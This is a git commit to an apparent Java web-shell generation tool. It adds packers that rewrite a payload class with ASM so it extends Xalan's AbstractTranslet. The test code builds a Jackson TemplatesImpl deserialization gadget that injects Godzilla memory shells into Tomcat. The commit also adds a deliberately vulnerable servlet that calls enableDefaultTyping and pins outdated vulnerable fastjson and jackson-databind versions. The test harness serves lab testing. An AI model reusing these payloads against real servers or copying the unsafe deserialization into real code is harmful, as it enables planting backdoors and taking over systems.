feat: support AbstractTranslet packer

This commit is contained in:
ReaJason
2025-11-20 00:36:25 +08:00
parent 07b0de017d
commit 17a8f529a0
11 changed files with 219 additions and 1 deletions
@@ -14,6 +14,7 @@ import com.reajason.javaweb.packer.jar.AgentJarPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker; import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
import com.reajason.javaweb.suo5.Suo5Manager; import com.reajason.javaweb.suo5.Suo5Manager;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -126,6 +127,9 @@ public class ShellAssertion {
" !!java.net.URL [\"file://" + jarPath + "\"]\n" + " !!java.net.URL [\"file://" + jarPath + "\"]\n" +
" ]]\n" + " ]]\n" +
"]"; "]";
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());
content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]";
} else { } else {
content = packer.getInstance().pack(generateResult.toClassPackerConfig()); content = packer.getInstance().pack(generateResult.toClassPackerConfig());
} }
@@ -395,6 +399,7 @@ public class ShellAssertion {
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content); case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content);
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
default -> throw new IllegalStateException("Unexpected value: " + packer); default -> throw new IllegalStateException("Unexpected value: " + packer);
} }
} }
@@ -53,7 +53,8 @@ public class Tomcat8DeserializeContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar) arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker)
); );
} }
@@ -0,0 +1,65 @@
package com.reajason.javaweb.asm;
import org.objectweb.asm.*;
public class ClassSuperClassUtils {
public static byte[] addSuperClass(byte[] bytes, String superClassName) {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, 0);
ClassVisitor cv = new AddSuperClassAdapter(cw, superClassName.replace('.', '/'));
cr.accept(cv, 0);
return cw.toByteArray();
}
static class AddSuperClassAdapter extends ClassVisitor {
private final String newSuperName;
public AddSuperClassAdapter(ClassVisitor cv, String newSuperName) {
super(Opcodes.ASM9, cv);
this.newSuperName = newSuperName;
}
@Override
public void visit(int version, int access, String name,
String signature, String superName, String[] interfaces) {
if (!"java/lang/Object".equals(superName)) {
throw new IllegalStateException(String.format(
"Cannot add superclass to class '%s': it already extends '%s'.", name, superName
));
}
super.visit(version, access, name, signature, newSuperName, interfaces);
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("<init>".equals(name)) {
return new ChangeConstructorAdapter(mv, newSuperName);
}
return mv;
}
}
static class ChangeConstructorAdapter extends MethodVisitor {
private final String newSuperName;
public ChangeConstructorAdapter(MethodVisitor mv, String newSuperName) {
super(Opcodes.ASM9, mv);
this.newSuperName = newSuperName;
}
@Override
public void visitMethodInsn(int opcode, String owner, String name,
String descriptor, boolean isInterface) {
if (opcode == Opcodes.INVOKESPECIAL &&
"java/lang/Object".equals(owner) &&
"<init>".equals(name)) {
super.visitMethodInsn(opcode, newSuperName, name, descriptor, isInterface);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
}
}
@@ -0,0 +1,37 @@
package com.reajason.javaweb.asm;
import net.bytebuddy.ByteBuddy;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.ClassReader;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;
/**
* @author ReaJason
* @since 2025/11/19
*/
class ClassSuperClassUtilsTest {
@Test
void test() {
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
byte[] bytes = new ByteBuddy().redefine(EmptySuperClass.class).make().getBytes();
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
assertEquals("java/lang/Object", new ClassReader(bytes).getSuperName());
assertEquals(superClassName.replace(".", "/"), new ClassReader(newBytes).getSuperName());
}
@Test
void testException() {
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
byte[] bytes = new ByteBuddy().redefine(SuperClass.class).make().getBytes();
assertThrows(IllegalStateException.class, () -> ClassSuperClassUtils.addSuperClass(bytes, superClassName));
}
class EmptySuperClass {
}
class SuperClass extends EmptySuperClass {
}
}
@@ -44,6 +44,10 @@ import com.reajason.javaweb.packer.spel.SpELPacker;
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer; import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker; import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker;
import com.reajason.javaweb.packer.translet.AbstractTransletPacker;
import com.reajason.javaweb.packer.translet.JDKAbstractTransletPacker;
import com.reajason.javaweb.packer.translet.OracleAbstractTransletPacker;
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
import com.reajason.javaweb.packer.velocity.VelocityPacker; import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
@@ -87,6 +91,11 @@ public enum Packers {
*/ */
BCEL(new BCELPacker()), BCEL(new BCELPacker()),
AbstractTranslet(new AbstractTransletPacker()),
JDKAbstractTransletPacker(new JDKAbstractTransletPacker(), AbstractTransletPacker.class),
XalanAbstractTransletPacker(new XalanAbstractTransletPacker(), AbstractTransletPacker.class),
OracleAbstractTransletPacker(new OracleAbstractTransletPacker(), AbstractTransletPacker.class),
/** /**
* 脚本引擎打包器 * 脚本引擎打包器
*/ */
@@ -94,6 +103,7 @@ public enum Packers {
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class), DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class), ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class),
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class), ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
Rhino(new RhinoPacker()), Rhino(new RhinoPacker()),
/** /**
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.translet;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/11/19
*/
public class AbstractTransletPacker implements AggregatePacker {
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.packer.translet;
import com.reajason.javaweb.asm.ClassSuperClassUtils;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/11/19
*/
public class JDKAbstractTransletPacker implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
return Base64.encodeBase64String(newBytes);
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.packer.translet;
import com.reajason.javaweb.asm.ClassSuperClassUtils;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/11/19
*/
public class OracleAbstractTransletPacker implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String superClassName = "com.oracle.wls.shaded.org.apache.xalan.xsltc.runtime.AbstractTranslet";
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
return Base64.encodeBase64String(newBytes);
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.packer.translet;
import com.reajason.javaweb.asm.ClassSuperClassUtils;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/11/19
*/
public class XalanAbstractTransletPacker implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String superClassName = "org.apache.xalan.xsltc.runtime.AbstractTranslet";
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
return Base64.encodeBase64String(newBytes);
}
}
@@ -29,6 +29,9 @@ val filesToCopy = objects.fileCollection().from(
dependencies { dependencies {
implementation("com.caucho:hessian:4.0.66") implementation("com.caucho:hessian:4.0.66")
implementation("org.yaml:snakeyaml:1.27") implementation("org.yaml:snakeyaml:1.27")
implementation("com.alibaba:fastjson:1.2.47")
implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0")
implementation("xalan:xalan:2.7.2")
providedCompile("javax.servlet:javax.servlet-api:3.1.0") providedCompile("javax.servlet:javax.servlet-api:3.1.0")
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
@@ -0,0 +1,21 @@
import com.fasterxml.jackson.databind.ObjectMapper;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/11/16
*/
@WebServlet("/jackson")
public class JacksonServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
new ObjectMapper().enableDefaultTyping().readValue(data, Object.class);
}
}